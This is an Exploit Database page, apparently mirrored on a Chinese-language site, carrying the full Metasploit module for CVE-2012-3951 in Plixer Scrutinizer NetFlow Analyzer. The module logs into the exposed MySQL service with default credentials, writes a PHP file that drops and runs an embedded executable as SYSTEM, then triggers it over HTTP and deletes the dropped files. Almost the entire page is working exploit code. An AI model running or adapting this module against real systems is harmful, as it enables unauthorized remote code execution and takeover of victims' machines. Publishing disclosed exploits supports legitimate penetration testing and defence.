Plixer Scrutinizer NetFlow and sFlow Analyzer 9 – Default MySQL Credential (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2012-08-08
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/20355/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::MYSQL
  	include Msf::Exploit::Remote::HttpClient
  	include Msf::Exploit::EXE
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name' => "Plixer Scrutinizer NetFlow and sFlow Analyzer 9 Default MySQL Credential",
  			'Description'=> %q{
  				This exploits an insecure config found in Scrutinizer NetFlow & sFlow Analyzer.
  				By default, the software installs a default password in MySQL, and binds the
  				service to "0.0.0.0".This allows any remote user to login to MySQL, and then
  				gain arbitrary remote code execution under the context of 'SYSTEM'.Examples
  				of default credentials include: 'scrutinizer:admin', and 'scrutremote:admin'.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'Mario Ceballos',
  					'Jonathan Claudius',
  					'Tanya Secker',
  					'sinn3r'
  				],
  			'References' =>
  				[
  					['CVE', '2012-3951'],
  					['OSVDB', '84317'],
  					['URL', 'http://secunia.com/advisories/50074/'],
  					['URL', 'https://www.trustwave.com/spiderlabs/advisories/TWSL2012-014.txt']
  				],
  			'Payload'=>
  				{
  					'BadChars' => "\x00"
  				},
  			'DefaultOptions'=>
  				{
  					'InitialAutoRunScript' => 'migrate -f'
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					['Scrutinizer NetFlow and sFlow Analyzer 9.5.2 or older', {}]
  				],
  			'Privileged' => false,
  			'DisclosureDate' => "Jul 27 2012",
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptString.new("USERNAME",[true, 'The default MySQL username', 'scrutremote']),
  				OptString.new("PASSWORD",[true, 'The default MySQL password', 'admin']),
  				OptPort.new("MYSQLPORT", [true, 'The MySQL\'s remote port', 3306]),
  				OptPort.new("HTTPPORT",[true, 'The HTTP Server\'s remote port', 80]),
  				OptString.new("TARGETURI", [true, 'The web application\'s base path', '/'])
  			], self.class)
  
  		# Both MySQL and HTTP need to use this, we'll have to register on the fly.
  		deregister_options('RPORT')
  	end
  
  
  	def check
  		tmp_rport = datastore['RPORT']
  		datastore['RPORT'] = datastore['HTTPPORT']
  		res = send_request_raw({'uri'=>target_uri.host})
  		datastore['RPORT'] = tmp_rport
  		if res and res.body =~ /\<title\>Scrutinizer\<\/title\>/ and
  			res.body =~ /\<div id\=\'.+\'\>Scrutinizer 9\.[0-5]\.[0-2]\<\/div\>/
  			return Exploit::CheckCode::Vulnerable
  		end
  
  		return Exploit::CheckCode::Safe
  	end
  
  
  	def get_php_payload(fname)
  		p = Rex::Text.encode_base64(generate_payload_exe)
  		php = %Q|
  		<?php
  		$f = fopen("#{fname}", "wb");
  		fwrite($f, base64_decode("#{p}"));
  		fclose($f);
  		exec("#{fname}");
  		?>
  		|
  		php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
  		return php
  	end
  
  
  	#
  	# I wanna be able to choose my own destination... path!
  	#
  	def mysql_upload_binary(bindata, path)
  		# Modify the rport so we can use MySQL
  		datastore['RPORT'] = datastore['MYSQLPORT']
  
  		# Login
  		h = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
  
  		# The lib throws its own error message anyway:
  		# "Exploit failed [no-access]: RbMysql::AccessDeniedError"
  		return false if not h
  
  		tmp = mysql_get_temp_dir
  		p = bindata.unpack("H*")[0]
  		dest = tmp + path
  		mysql_query("SELECT 0x#{p} into DUMPFILE '#{dest}'")
  		return true
  	end
  
  
  	def exe_php(php_fname)
  		# Modify the rport so we can use HTTP
  		datastore['RPORT'] = datastore['HTTPPORT']
  
  		# Request our payload
  		path = File.dirname("#{target_uri.path}/.")
  		res = send_request_raw({'uri'=>"#{path}#{php_fname}"})
  		return (res and res.code == 200)
  	end
  
  
  	def cleanup
  		datastore['RPORT'] = @original_rport
  	end
  
  
  	def on_new_session(cli)
  		if cli.type != 'meterpreter'
  			print_error("Please remember to manually remove #{@exe_fname} and #{@php_fname}")
  			return
  		end
  
  		cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
  
  		begin
  			print_status("Deleting #{@php_fname}")
  			cli.fs.file.rm(@php_fname)
  		rescue ::Exception => e
  			print_error("Please note: #{@php_fname} is stil on disk.")
  		end
  
  		begin
  			print_status("Deleting #{@exe_fname}")
  			cli.fs.file.rm(@exe_fname)
  		rescue ::Exception => e
  			print_error("Please note: #{@exe_fname} is still on disk.")
  		end
  	end
  
  
  	def exploit
  		@original_rport = datastore['RPORT']
  
  		#
  		# Prepare our payload (naughty exe embedded in php)
  		#
  		@exe_fname = Rex::Text.rand_text_alpha(6) + '.exe'
  		p = get_php_payload(@exe_fname)
  
  		#
  		# Upload our payload to the html directory
  		#
  		print_status("Uploading #{p.length.to_s} bytes via MySQL...")
  		@php_fname = Rex::Text.rand_text_alpha(5) + '.php'
  		if not mysql_upload_binary(p, "../../html/#{@php_fname}")
  			print_error("That MySQL upload didn't work.")
  			return
  		end
  
  		#
  		# Execute the payload
  		#
  		print_status("Requesting #{@php_fname}...")
  		res = exe_php(@php_fname)
  
  		handler
  	end
  end